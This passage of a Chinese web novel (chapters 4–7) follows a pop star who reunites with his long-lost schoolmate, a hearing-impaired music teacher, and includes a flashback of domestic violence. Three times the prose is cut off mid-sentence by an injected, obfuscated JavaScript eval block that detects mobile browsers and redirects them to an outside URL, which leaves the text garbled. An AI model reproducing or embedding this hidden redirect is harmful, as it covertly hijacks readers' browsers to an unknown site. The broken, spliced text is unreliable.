记忆中那张明媚的脸早已褪去青涩,与十年前相比,多了几分成熟稳重。 明明是人声沸鼎的场馆,可陈屿却能清晰地听到自己剧烈的心跳声。 “扑通扑通——” 陈屿目不转睛地盯着大屏幕,生怕错过易深说的每一句话。 “大家好,我是易深,欢迎来看我的演唱会。” 其他人陆陆续续举起荧光棒,只有陈屿呆呆地坐在那里,目光跟随着易深的身影。 演唱会持续了整整三个小时。 在散场之后,陈屿站在三岔路口,看着汹涌的人潮,恋恋不舍地回头看了一眼。 他想跟易深见一面,哪怕只是说几句话。 他拿出手机再次输入那串熟悉的电话号码,却始终犹豫不决。 易深刚又唱又跳三个小时,已经很累了,他没理由再去打扰易深的休息。 陈屿轻叹一口气,刚要关掉手机,后面有个粉丝撞了上来。 “抱歉,我没注意。” 陈屿只能笑笑说“没关系”。 等他再次拿起手机时才发现,他不小心拨打了出去,幸好是对面没人接。 陈屿瞬间有种怅然若失的感觉。 他不禁在想:如果易深接通了电话,会怎么样? 可惜没有如果。 反倒是助听器的维修站台给他打了电话,他可以去取他的助听器了,所以他没必要继续等到明天,他今晚就可以回榆城,而且他明天早上有课,也不用麻烦其他老师顶班或者调课。 陈屿自嘲地笑了笑,原来他能为自己的怯懦找出这么多理由来。 算了。 陈屿看着被粉丝包围的那辆保姆车,轻笑一声: “再见,易深。” 4. 第 4 章 演唱会结束后,易深的原定计划是连夜回平江,不打算在连城逗留。 原本回平江的路线是不会经过老城区的,司机小林知道易深的习惯,每次回连城都要路过这条丰南路看看,所以他特地绕了一大圈的路线。 在来到丰南路时,易深摇下车窗,看着那条熟悉的街道,脸上带着几分怀念,他已经好久没去陈屿家里看看了。 “去酒店吧,明天再回平江。” 小林应了声,在前方路口拐了个弯回了市中心。 晚风从窗外吹进来,易深看了一眼街头的那棵大榕树,有几分怅然,他已经很久很久没回过连城了。 他低着头没发现,一道熟悉的身影从那棵大榕树下绕了出来,与他往反的方向离开。 次日清晨。 助理小荷在整理昨天粉丝遗失在场馆里的物件,有水杯、首饰、手表、应援物还有身份证,乱七八糟的什么都有,她要把这些物品整理好发到微博,让粉丝来认领。 小荷看着那张身份证件不禁嘟囔了句:“怎么有人能粗心大意成这样,连身份证都丢了。” 她看着证件照那张帅气的脸,啧声:“还是个帅哥诶。” 只是这个名字怎么感觉有点耳熟,是不是在哪里听过还是在哪里见过? “咔嚓”一声,卧室的门打开,打断了小荷的思绪,她把早餐从厨房里拿出来放到餐桌上,对着睡眼惺忪的易深说道:“早餐已经准备好了,小林去挪车了,他就在楼下等你,一会你出门时给他打电话就好。” 易深淡淡地点了点头,或许是很久没回来连城,他心里装着许多事,昨晚翻来覆去满脑子都是陈屿的身影。 小荷把粉丝送到后台的信整理好了放在桌面上,说:“这是粉丝送来的信,还有一些放在了车上,到时候再一起拿回工作室。” 忽然,手机振动声频频响起,小荷抽空看了一眼群消息,愣了一下。 小林:打开微博全是哥的热搜。 小林:哥也太火了,举办一场演唱会,全是他的热搜。 小林:截图.jpg 小荷点开他的截图看了看,皱着眉嘟囔了句:“这都什么啊?” #2排28号有人了 #神秘人终于现身了 #这就是易深要找的人吗? #神秘人是易深的同学 #他说不了解这个座位的含义 #他到底是谁? 小林:热搜好像有点不对劲啊,丽姐好像在忙这件事,要不要跟哥说一声? 小林:哥好像也在找这个人。 小林:[视频] 小荷忽然想起她前几天寄出去的那封信,急急忙忙地朝易深走来,说道:“哥,有粉丝昨天拍到了2排28号的那个人,票据对得上,就是哥让我寄出去的那张票,还有粉丝录下了视频,你看是不是你要找的...” 她话还没说完,易深就抢走了她的手机,神色严肃地点开小荷说的那个视频。 视频里的男生戴着渔夫帽,帽檐压得很低,还戴着黑色口罩,根本看不清他的脸。 [你跟易深认识吗?] [我们是同学。] 这道声音...易深绝对不可能听错。 是陈屿。 他怔怔地看着视频里的男生,任由视频播放了一遍又一遍。 “哥?” 直到小荷唤了他好几遍,他才缓缓回过神,从桌子上拿起帽子和口罩就冲出了门口。 “哥!你要去哪里?!” 小荷被他吓了一跳,连忙跟上他的脚步,一边联系在酒店门口等着的小林:“热搜上的那个人好像就是哥要找的人,哥拿着手机就出门了,我根本拦不住,你在楼下看着点。” “我知道了。”小林刚应下,就看见易深拉开了副驾驶的门坐了进去。 易深紧张地说了句:“去旧城区,丰南路,速度快点。” “好。”小林连忙应了声,从后视镜里悄悄地看了一眼易深,他还是第一次看见易深这么着急慌张的模样。 丰南路做的都是小吃生意,早上比较安静,街道上的游客并不多,但小林还是紧张地看着四周的路人,做好随时跑路的准备。 易深带着鸭舌帽,穿着一身普通的运动装,站在六巷八号门口。 他看着木门上那把崭新的门锁发呆,如果他猜得没错的话,这把锁很有可能是近两日才换的。 陈屿什么时候回来的? 门口有被打扫过的痕迹,挂在门口的蜘蛛网、被风雨淋到发白的对联、窗户上被人留下的广告小贴纸,都被清理得干干净净。 他看向门口的邮箱,里面空空如也。 陈屿已经把信件都拿走了吗? 所以他是看了自己写给他的信,才会来演唱会的吗? 易深刚想上去敲一下门,又想起门口那把新锁是从外面锁的,里面自然不会有人,霎时间激动的心情被一盆冷水无情地浇灭。 所以陈屿不在家,或许他已经走了,又或许陈屿还会再回来,他抱着一丝期待,站在门口,静静地等待着。 小林在远处盯梢,给小荷发消息:航班推迟吧,哥应该暂时不会走了。 小荷:好吧,我也猜到了。 小荷:哥只有在遇到跟那个人相关的事情时才会这样失控。 小荷:你那边还好吧?游客多不多?别让粉丝认出来,不然就麻烦了。 小林:附近这几条街道好像都是做下午到晚上的生意,所以早上没什么人,都是本地的街坊在早餐店转悠。 小荷:嗯,你看着点。 易深在陈屿门前等了两个多小时,始终没看见他的身影。 直到王婶出门买菜回来,时隔多年她已经不太记得易深的模样了,她主动凑上前问:“你是不是要找陈屿?” 易深猛地看向一旁的王婶,他急切地点了点头:“是,您有他的消息吗?” “我记得你,你早些年经常会来陈屿家找他。”王婶笑着说道:“陈屿是周六那天回来的,他还来我这吃了碗汤粉,不过你来得不凑巧,他昨晚就已经回去了。” 易深的脸上难掩失落的表情,他抿着唇,轻声说道:“那您知道他去哪里了吗?” 王婶:“他回榆城了吧,我昨天问他现在在哪里工作,他告诉我在榆城当音乐老师。” “榆城...”易深喃喃道:“原来他在榆城。” 王婶看他这副模样跟昨天看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322666|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陈屿一样,她觉得两个小伙子之间可能是有什么误会吧,她实在不忍心,只好说道:“我昨天有跟小屿说过关于你的事,我告诉他有个小伙子这些年一直在等他。” 易深闻言,低垂眼睑,敛去眼里的晦涩:“那他有说什么吗?” 王婶摇头轻叹:“我说完那句话之后,他的脸色变得很难看,红着眼睛一副要哭的模样,我就没敢再追问下去。” 易深心脏像被针刺了一下,密密麻麻的疼痛瞬间将他淹没:“您有他现在的联系方式吗?” “有的。”王婶从裤兜里掏出那张陈屿落下来的小纸条递给他,笑道:“我说了你会再来找他的,但他好像不信,不过他也答应,如果你再来找他的话,我可以把他的电话号码告诉你。” 易深接过那张纸条,手指蜷缩着,指尖微微发白,感激地说道:“谢谢。” 王婶摆摆手:“不用谢,能帮得上忙就好。” …… …… 从丰南路离开后,易深回到了酒店,他整个人有点不在状态。 他这些年一直在找陈屿,没想到当他真能联系上陈屿时,反而犹豫了,这通电话迟迟未能拨出去。 小荷把陈屿的身份证小心翼翼地递给了他,说:“哥,这好像就是2排28号的人留下的,要不您看看?” 易深看着小荷递过来的那张身份证上,短暂地怔了怔。 是陈屿,身份证上的人脸照还是易深跟陈屿一起到照相馆拍的。 身份证没有更新他现在最新的住址,写的还是连城丰南路六巷八号。 那他现在在榆城哪里? 易深攥着那张纸条,捏得皱巴巴的,上面的那一串数字被他在短短的时间内背得滚瓜烂熟。 可他还是不舍得把纸条扔掉。 他尝试着在手机里输入陈屿的电话号码,却迟迟不敢按下拨通键。 易深抿着唇,有些挫败。 他的电话号码这么多年一直没变,就是担心陈屿想要联系他的时候联系不上。 他不明白,为什么陈屿不主动联系他,为什么不愿意告诉他当年发生了什么,为什么不跟他告别,为什么不解释这一切,为什么十年来对他避而不见。 最重要的是,为什么陈屿不相信他。 每次想起这些问题,易深心里就像压了块巨石,压得他几乎喘不过气。 他迫切地想要得到答案,又担心他的鲁莽会吓到陈屿。 他握着那张身份证看了一遍又一遍,最后还是没忍住给陈屿拨通了电话。 陈屿刚下完课,正打算去食堂吃个午饭。 他昨晚听了一整晚易深的歌,终于能跟着唱几句,糊弄一下班里的学生。 所以今天的课,孩子们上得格外开心,他也跟着松了口气。 手机电话响起,他还在整理教材,没有仔细看是谁打来的电话。 “喂?” 对面没有说话,陈屿又“喂”了一声,正打算挂断电话时,对方缓缓开口:“你的身份证落在我这里了。” 听着这道熟悉的嗓音,陈屿猛地一颤,心跳漏了一拍,不敢置信地看着来电的那串熟悉的号码。 两人陷入了沉默,谁也没再开口。 5. 第 5 章 深秋时分,阳光和煦。 周围是学生们的欢笑声,陈屿站在走廊里,像被钉在了原地。 他的目光空洞,手脚冰冷。 连阳光落在他的身上,依然无法驱散他身上的寒意。 他没想到这通电话会来得这么快。 在这通电话来之前,他还幻想着他应该要以怎样的心情接通电话,是久别重逢惊心动魄的欢喜,还是两人相对而无言遗憾散场。 原来在接通电话的这一刻,他更多的是担心和害怕。 担心易深问起当年的事,他一时半会解释不清反而徒增更多误会和烦恼,也害怕从易深嘴里听到伤人的话。 电话里,两人都没再开口,耳边只剩下彼此浅浅的呼吸声。 陈屿不舍得挂断这通电话,他微微张嘴,许多话来到嘴边,犹豫半晌还是咽了回去。 “对不起”“你过得好吗”“当年的事我很抱歉”诸如此类的话他等了十年,却在这一刻,喉咙像被堵住了一样,他尝试发声,却无法发出一丝声音,到最后只剩一句轻轻的叹息。 易深一直没说话,陈屿不知道他是不是还在听,只能率先打破沉默:“那可以麻烦你把我的身份证寄到丰南路吗?” 易深那边过了好几秒才开口说了句:“你为什么不亲自过来拿?” 随后他又补充了句:“我还在连城。” 陈屿无奈地开口:“我还有课,暂时没办法回去。” 电话再次陷入了沉默。 过了一会,易深主动开口:“或者你把现在的住址告诉我,我给你寄过去。” 陈屿哑口无言,易深的动机太明显了,他深吸一口气,艰涩道:“我还以为你不会想见我。” “为什么你会这么想?”易深的声音听起来有些沙哑,分外难过。 陈屿刚想说句“对不起”,易深抢先开口:“我好想你。” 陈屿愣在了那里,无数未说出口的话化成酸涩的眼泪,他仰着头吸了吸鼻子,不让眼泪掉下来。 最后他还是将现在的住址告诉了易深。 挂断电话的那一刻,陈屿心里空荡荡的。 放学后,陈屿到附近的菜市场买了不少肉菜回家。 一般下午没课的时候,陈屿都是在家自己做饭,如果下午有课,他就在学校食堂随便吃点,午休也是在办公室休息。 今天中午陈屿打算做个大盘鸡,是前几天他在美食博主那里学的。 想着易深可能会来找他的,陈屿一直心不在焉。 见面时,他该跟易深说什么? 是“对不起”还是“恭喜你”? 想到这里,陈屿眼眶一热,心绪难平。 “嘶——”手指上的刺痛感让陈屿的思绪瞬间回笼,鲜红的血液染红了案板,他连忙翻出家里的药箱,忍着剧痛不太熟练地包扎了下伤口。 算了。 他现在更没心情吃饭了。 易深的身影一直在他的脑海里盘旋,挥之不去。 秋日的暖阳丝丝缕缕地照进房间,带着午后慵懒的气息,陈屿想着易深的事,困得迷迷糊糊的。 这几天他一直都没睡好,下午一睡就睡到了傍晚才醒来。 他总是梦见他和易深17岁的时候。 那时候的他们怀揣着梦想,年轻有朝气,天真不失勇气。 那是他最快乐的时光。 梦醒时,总感觉怅然若失。 深秋的夜晚来得早,外面的天色已经完全黑了。 房间里没有一丝光线,他也没有戴助听器,整个世界黑暗且安静。 陈屿抱着双臂坐在床上,孤独感油然而生。 “咕噜——” 陈屿揉了揉肚子,他已经一天没吃饭了。 美味的大盘鸡没吃到,手还差点切下一块肉。 他的手还疼着呢,厨房一片狼藉,家里也没什么吃的,还是到附近的小卖部买几个泡面回来吧。 陈屿刚下楼,就看见停靠在边上的黑色轿车。 他现在住的这个小区都是上了年纪的老人,看着陌生的车牌号,他以为是哪个邻居家的孩子回来了,并没有多想。 他与汽车擦肩而过,正要走远时,忽然被人拽住了手腕。 陈屿惊讶地回头,在他看清来人的面貌时,呼吸微微一滞,僵在原地。 街边暗黄色的路灯落在易深那张帅气的脸上。 四目相对,两人都没主动开口,只是沉默地打量着对方。 尤其是易深,他的目光牢牢锁在陈屿的脸上,像是要将他的容颜刻在心里。 陈屿微微垂眸,收回了目光,不过数十秒的时间,他的眼眶氤氲着水雾,积攒的泪水忍不住滑下脸颊。 他强忍住想要拥抱对方的冲动,攥紧了手心,直到手指那道伤口再次破开,鲜血晕染了纱布。 “好久不见。” 陈屿努力地调整着呼吸,极力想要掩饰自己狼狈的样子,但沙哑的嗓音还是出卖了他。 易深轻轻擦拭着他的脸上的泪痕,目光死死地落在他左耳的那台助听器上,声音微颤:“耳朵怎么了?” 陈屿低声笑了笑:“我说是蓝牙耳机,你信吗?” 易深手上的力道渐渐加深,脸上丝毫不见重逢的喜悦,眼眶通红地看着他,眼里流动着细碎的光。 酸涩的感觉包裹着陈屿的心脏,他想安慰易深,可他的眼泪却落得汹涌,哽咽得一句话也说不出口。 易深将他拥入怀里,用尽所有力气,甚至把陈屿勒得骨头都疼了。 只有这一刻,他们才仿佛有了真实感。 他们静静地在路灯下拥抱了很久,直到有脚步声靠近,陈屿推开了易深,拉开车门,将他塞了回去。 散步回来的邻居看见他,高兴地打着招呼:“陈老师晚上好呀,吃饭了吗?” 陈屿摇了摇头:“还没有呢,正准备吃。” “这样啊。”邻居看着他身边似乎还有别的朋友,也没再打扰他们。 在邻居离开之后,易深抓住了他的手,看着那染红的纱布,心疼道:“要去医院吗?” 陈屿试图收回手,被他死死地攥住,只好无奈地开口:“家里有药,回去重新包扎一下就好了。” 易深抿了抿唇:“我能去你家坐坐吗?” 陈屿犹豫了几秒,随后又听见邻居们的谈笑声传了过来,只好答应下来,易深毕竟是公众人物,很难保证不会被别人认出来,他不敢冒险。 易深乖乖地跟在陈屿身后,记下他家的楼层和门牌号。 陈屿住的这栋楼很老了,看起来破破烂烂的,连楼道的灯光都很暗,还有一股潮湿的霉味,但是胜在很干净。 易深深深地看了一眼他家门口的门牌号。 陈屿没注意到这些,反而忽然想起一片狼藉的厨房,有些局促,他突然不想让易深跟他进屋了。 他握着门把手,有些尴尬地笑了笑:“我家里有点乱。” 易深:“正好,免费的劳动力来了,我可以帮你收拾。” “?”陈屿有瞬间的茫然,随后古怪地瞥了他一眼,这个人怎么不按套路出牌,他无奈地打开房门,走在前面,“要喝点什么?我这里只有牛奶和白开水。” 易深迫不及待地进了屋,目光快速地扫过家里的一切,轻声开口:“白开水就好。” 陈屿的家和他想象中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322667|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,布置得很温馨,家里有一股淡淡的香薰,甜丝丝的味道很好闻。 因为陈屿没有备用的拖鞋,所以易深也没换鞋。 桌子上的茶具只有一个小水杯,沙发不大,餐桌也是小小的,到处都充满了生活的痕迹。 但也能看出来,陈屿是自己一个人独居。 想到这里,易深紧绷的表情缓和了些。 “还是牛奶吧,这里的白开水有股消毒液的味道,你肯定喝不惯。”陈屿从冰箱里拿出一瓶牛奶放在他前面的桌子上,随后回到厨房,开始收拾卫生。 易深听到水龙头放水的那一刻开始就快步来到了他的身后,眉头拧紧,不赞同道:“你的伤口不能碰水,让我来吧。” 陈屿把挂在墙上的手套拿了下来,不在意地说了句:“没事,我可以戴手套。” 还未等他戴上手套,易深伸手揽住他的腰,将他抱出了厨房。 陈屿:“???” 这是什么臂力?能轻轻松松抱起他一个成年男性? 易深将他抱回了客厅,让他坐在沙发上,把桌子上那个未来得及收起来的药箱再次打开,然后小心翼翼地把他的纱布拆了下来。 “怎么划得这么深?” 陈屿有些沉默,他总不能告诉易深,是因为自己老想着他,才会一时没留神划伤了自己的手吧? 消毒水清洗伤口时,陈屿疼得龇牙咧嘴的,差点都要怀疑易深是在报复他了。 在帮他包扎好伤口之后,易深起身来到厨房。 陈屿晃了晃神,听到厨房传来一阵杂音,他才反应过来,扒着门口看易深帮他收拾碗筷,“你来真的啊?” 易深看着案板上的血迹还有丢在垃圾桶里的一个个带着血的小纸团,唇线抿直,默不作声地替他把厨房清理干净。 陈屿看着他挂着脸,眨了眨眼,忽然意识到,原来易深是在心疼他。 此时此刻,他很想问问易深,是不是还喜欢他。 但他缺乏这股不顾一切的勇气,他并不想从易深嘴里得到否认或者犹豫的答案。 他只想听到绝对且肯定的答案。 “忘了跟你说句恭喜,连城的演唱会圆满结束。”他不想继续沉默下去,主动打破了两人之间的沉默,恭喜的话远比道歉的话容易说出口,他眼巴巴地看着还在洗碗的易深,磕磕巴巴地说道:“对不起...当年我失约了,我知道这句对不起来得很晚,但是我...” “我也有我的苦衷”这几个字却难以说出口,陈屿垂眸,敛去眼里的晦涩,再次向易深道歉:“对不起,我没想到你会一直等我。” 他好像从未被爱过,所以不相信有人会这么爱他,哪怕过去十年,还在等他。 陈屿低头抓着门板,就像做错事的孩子,浑身散发着不安的情绪。 易深不知何时站在了他的面前,掰开他抓着门板的手指,轻轻地握着手心里,说道:“小心手上的伤。” “还有。” 易深看着他忐忑的眼神,浅浅地吐了口气:“我不是在信上说了吗?我不怪你,所以你不用跟我道歉,我只是……” 他再次被易深拥进了怀里。 易深轻轻揽着他,跟刚才那个像是想要把他镶嵌进骨血的拥抱不一样的是,易深的力道很轻,就像是怕弄疼了他,也像是寻回了丢失已久的珍宝,将他小心翼翼地呵护在怀里。 “我只是很委屈,很难过,你不要我了。” 陈屿听到这句话,心尖猛地颤了颤,酸涩的感觉在他心里剧烈地翻涌,眼底弥漫着浓重的悲伤。 从他认识易深到现在,整整十一年,或许只有在这一刻,他才愿意相信,原来易深真的会一直爱他。 6. 第 6 章 十年前的一个雨夜,也是高考放榜的那天。 丰南路六巷八号的那栋房子里不停地传来男人的谩骂声。 “小兔崽子,你就是个赔钱货,你以为你考上个大学有什么用?老子一分钱都不会给你,你拿什么上学?” “老子让你去申请助学贷,把钱拿回来给我,听见了没有?” 又是一顿哐哐啷啷砸东西的声响。 “啪——”一巴掌落在陈屿的脸上,他麻木又空洞地看着眼前醉酒的男人。 “你还敢顶嘴?” “如果不是老子养着你,你还能活到现在?” “你以为跟着那个贱人走,她能给你一口饭吃?” “吃里扒外的东西!呸!” “你跟你妈一样,都是贱货,都是赔钱货,都是……” 陈屿上前狠狠地推了他一把,目光沉沉,带着冰冷的恨意:“你有什么资格说我妈?!你这个垃圾,废物,你这个只知道喝酒赌钱的烂人!” “好啊,反了天了。”男人的看着他的视线像淬了毒,阴狠地笑了笑,拿起一旁的凳子就往陈屿身上砸,一边打一边骂:“如果不是你偷偷放你妈走,她能跑得了?” 18岁的陈屿,瘦小得跟15、16岁的孩子一样,自然不是男人的对手。 凳子腿一下又一下地砸在他的背上,男人像是觉得不过瘾,将他的脑袋往墙上砸,直到鲜红的血液浸湿了陈屿的脸。 在那一刻,陈屿觉得自己或许活不过今晚了,他用尽最后的力气嘲讽眼前的男人,虚弱地笑道:“你就是...废物,妈妈离开你肯定会幸福,而我,我不像你...我这辈子都不会像你这样落魄。” 这句话仿佛刺激到了男人最后一道防线,他随手捡起地上的酒瓶向陈屿的脑袋砸去,玻璃碎片插入陈屿的皮肤,也插进了他的耳朵。 匆忙赶来的王婶和她的丈夫拉开了喝醉酒的男人,惊恐地将满身是血的陈屿送去了医院。 而男人也在他们走后,醉醺醺地爬起来,想要把最后一瓶酒喝掉,却被那张沾满血迹的凳子绊倒,砸破了脑袋,死在了那个雨夜。 两天后,路过的邻居发现陈屿家散发着一股恶臭的味道,随后报了警。 在陈屿出院那天,警察通知他去殡仪馆处理男人的后事。 那时的他耳道严重受损,失去声音的他眼神空洞,就像个没有灵魂的破碎娃娃。 后事还是王婶帮忙处理的。 警方联系了男人的前妻也就是陈屿的生母,随后女人连夜赶过来,将陈屿带走了。 这一别,就是十年。 陈屿双眼垂泪,看着易深崩溃的样子,说道:“对不起,我那时候已经没有别的选择了。” 事情发生得太突然了,他失魂落魄地跟着女人离开了这座城市,甚至连行李都没来得及收拾,甚至不能给易深留下一句道别的话。 他那时候的境况太糟糕了,甚至在家休学了一年,才慢慢走了出来。 身体上的伤或许痊愈了,但心里受到的伤,或许一辈子都无法修复。 他花了好长好长时间才接受了他的耳朵听不见的事实,也接受了他无法再学音乐这条路。 失去声音的世界,他甚至分辨不出每一个音符。 易深心如刀绞,抱着陈屿失声痛哭。 他的呼吸急促,像呼吸不过来一样,脸色苍白。 陈屿连忙捧着他的脸,说道:“易深,我现在很好,你深呼吸,不要激动,跟着我的动作,放慢呼吸速度,慢慢调整。” 直到易深平静下来,陈屿才松了口气,任由他趴在自己的肩膀上,轻轻地拍着他的背。 “其实,我有给你打过电话,但是你没接,所以我一直以为你应该很生气。” “但是我后来又想,我用的是妈妈的电话,所以你也不会知道那通电话是我打来的。” “后来当我再次想给你打电话的时候,我已经没有勇气了。” “我不想为自己的怯懦找借口,但是易深你知道吗,我很害怕。” “我觉得这个世界上没有人会爱我。” “我应该试着相信你,但是我那时候真的做不到。” 陈屿感觉到他肩膀上的湿润,也能听见易深压抑的呼吸声,他主动牵起易深的手,很快又被他反握住,十指相扣。 “对不起,那通电话我没接,对不起,我不知道,我也不知道那时候的自己在干什么,对不起。”易深不停地在给他道歉,声音沙哑得不像话。 陈屿摇了摇头:“哪怕你接了那通电话也改变不了什么,我那时大概已经坚持不了我们的梦想了。” 他当时的状态太糟糕了,整天把自己关在房间里面,连饭也不吃,整个人浑浑噩噩过了好久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322668|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 易深双手牢牢圈住陈屿的腰,艰涩道:“你才是我心里最重要的存在,是因为有你,才有梦想。” 陈屿摸了摸他的头,哄道:“你已经实现我们的梦想了。” 易深努力咽下心里的酸楚,心脏像被一只大手任意揉捏,疼得他窒息,连说话的声音都在颤抖:“如果高考结束后那几天我把你一起带走是不是就不会发生后面的事情了?” 陈屿能感觉到他语气里满满的自责和愧疚,轻声道:“没有如果,所以你也不必感到自责。” 易深把脸埋在他的肩膀上,看着他的侧脸,苦涩的味道在口腔中蔓延:“我差点就失去你了,我像个傻瓜一样,我什么都不知道,也没有在你需要我的时候及时出现。” “对不起。” “小屿。” “我真的很抱歉。” 温热的眼泪掉落在陈屿的怀里,砸得他心脏发疼。 “不是你的错。” 陈屿一直都知道,问题出在他的身上。 是他没办法相信任何人。 是他将易深推得远远的,是他伤害了易深,是他让易深等了他这么多年。 “是我要跟你说对不起。” 他这些年来不是没有想过联系易深,每当他想起易深的时候,总会摁下那一串熟悉的电话号码。 要是他能鼓起勇气摁下拨打键,或许他们都不用受这么多的苦。 后来他去了乡下支教,是一个很偏僻很远的小乡村,那里网络通信并不发达,他也需要一段能静下来的旅程,渐渐地把这件事放到了一边。 直到他来到榆城工作之后,那时候的他才知道易深早已成为大明星了。 他们变得遥不可及。 年少的时光仿佛一场梦。 那时的他们已经有着平稳安定的生活,他也不想再去纠结过去发生的一切,更不想打扰易深现在的生活。 他们已经是两个世界的人了。 易深小心翼翼地摸着他的耳朵,眼里的心疼快要溢出来:“疼吗?” 他下意识地想说不疼,但是在接触到易深的目光时,那句“不疼 ”终究还是咽了回去。 就像年少时,17岁的陈屿被易深发现身上的伤口,满脸的惊慌失措。 而28岁的他,只是想要向久别重逢的爱人撒娇。 “真的好疼。” 7. 第 7 章 易深连城场演唱会结束后,微博的热度居高不下,关于2排28号神秘男子的绯闻信息愈演愈烈。 “易深前男友”这个话题再次登顶热搜,吸引了一大批路人围观。 易深的微博动态没有设置权限,第一条动态已经破百万评论。 2015年6月28日。 @易深:不要丢下我,我会很乖。 [滴,新粉打卡。] [路人考古。] [老粉时隔多年回来打打卡。] [兄弟,告诉你个好消息,整整十年,前男友终于来看你的演唱会啦!] [天呐!十年!] [从热搜过来考古的,有些感慨。] [出道多年零绯闻,是因为对前男友念念不忘?] [路人震惊,原来这么多歌都是写给前男友的吗?] [前男友是有优秀啊?] @易深:给你发的消息石沉大海。 [那我去海里捞捞?] [哪片海啊,我去看看你发了什么内容。] [是不是你太啰嗦了,消息有点重啊?] @易深:今天好想你。 [纯情初恋,超绝,那首《告白》就是写给前男友的吧?] [所以是谁啊?有照片吗?] [情歌王ohohohoh] [这么多年了,你们都没扒到易深前男友的资料吗?] [楼上的路人真奇怪,我们为什么要扒他前男友?] [再看到这种评论建议举报哈。] 2017年6月28日。 @易深:我会带着我们的梦想继续前进,等你回来。 [哇哦,梦开始的地方?] [易深出道的那一年!!] [至此,天王诞生。] @易深:今天写了一首关于我们的歌,想你。 [所以易深是因为失恋所以写的歌都苦苦的吗?] [我每回失恋都要听一遍易深的歌,然后更emo了。] [失眠必听歌单] @易深:第一次开演唱会,如果你能来就好了。 [不得不说,当年的演唱会票价真的很便宜,前排价都不过千,没想到这么多年过去,当年的小歌手如今成为了乐坛天王。] [我们哥哥这一路走来实在太不容易了!] [期待下一场水西岛的演唱会!门票已买好,坐等!!] @易深:分享歌曲,来自企鹅音乐---易深《想你》。 [哥,俺不中了,凌晨两点失眠悄悄发布新歌?] [又想起你那个爱而不得的前任了是吧?] [哥库存还有几首歌啊?] [失恋神曲+1] @易深:今天是我们认识的第3000天。 [哥,真的,别太爱了。] [这么重要的日子,不应该出一首纪念的歌吗?!] [感谢催更...他还真放了一首新歌。] 一时间,易深的微博涌入大量路人前来考古,还有不少营销号和媒体试图扒出他前男友的身份,而当事人——陈屿,并不知道自己挂在新浪热搜一天了,还是他回来上班时从同事嘴里听到的。 办公室的语文老师夏嫱和新来的数学老师廖淑兰都是易深的资深歌迷,两人都很倒霉地没抢到连城场的演唱会门票,已经发好几天牢骚了。 夏老师一脸悲愤地看着群里其他粉丝晒出来的演唱会现场图片,遗憾地说道:“连城场的票太难抢了,希望水西岛能给我俩留一张票。” 廖老师赞同地点点头:“哪怕是在山顶区的位置也不是不行。” 夏老师笑道:“廖老师你现在要求这么低了吗?” 廖老师摊了摊手:“能抢到票就是胜利。” 夏老师:“对了,你今天看微博了吗?” 廖老师:“什么微博?” 夏老师:“还是易深那个神秘的前男友,最近有不少路人都在吃瓜,黑子们扒来扒去,都没找到神秘前男友的资料,现在竟然说我们哥哥这个神秘前男友是虚构的,根本不存在这样的一个人。” 廖老师啧声:“到最后又黑易深说他立深情人设是吧,这几年的通稿都是这样,工作室都告不过来了,尤其是那些吸血的营销号,特别烦人。” 陈屿原本只是默默听着两位老师的吐槽,听到“前男友”三个字时,刚喝的那口茶水差点喷了出来,剧烈地咳嗽着,脸都红了。 夏老师奇怪地看了他一眼,笑道:“陈老师你怎么了?” 陈屿拍了拍胸脯,好一会才平静下来:“你们在说易深的前男友?” 廖老师刚好在刷微博,把手机递给他看了一眼:“喏,就是这个。” 夏老师凑过来,说道:“热搜都挂两天了,原本热度都要下去了,谁知道易深居然给那条微博点了个赞,微博直接爆了,服务器都差点瘫痪了,我刷新了好久才刷新出来动态。” 陈屿艰难地咽了下口水:“什么微博?” 夏老师:“我微信发给你吧。” 陈屿心里的不安逐渐扩散,当他看到视频的那一刻,整个人僵硬得像块石头。 这不就是他吗?!! 那天他去演唱会穿的就是这套衣服! 而且他刚坐下来就有几个粉丝追着他问了几个跟易深相关的问题,他当时也察觉到有人拍下了他的照片,没想到竟然还有录像!! 听着两位同事兴致勃勃地聊着视频中的自己,他的心都提了起来,他试探性地问了句:“你们有没有觉得这个人有点眼熟?” 两位老师瞬间双眼发亮地看向他:“有吗?” “哦,我只是觉得他跟杨老师长得很像。”陈屿顿时把心放了回去,幸好那天他戴了口罩和帽子,而且演唱会的光线很暗,基本看不清他的模样。 刚好杨老师正叼着牙签,大摇大摆地走进了办公室,两位老师面面相蹙。 夏老师有些嫌弃地说道:“陈老师,你的眼神是有多不好啊。” 陈屿尴尬地笑了几声:“是吗?” 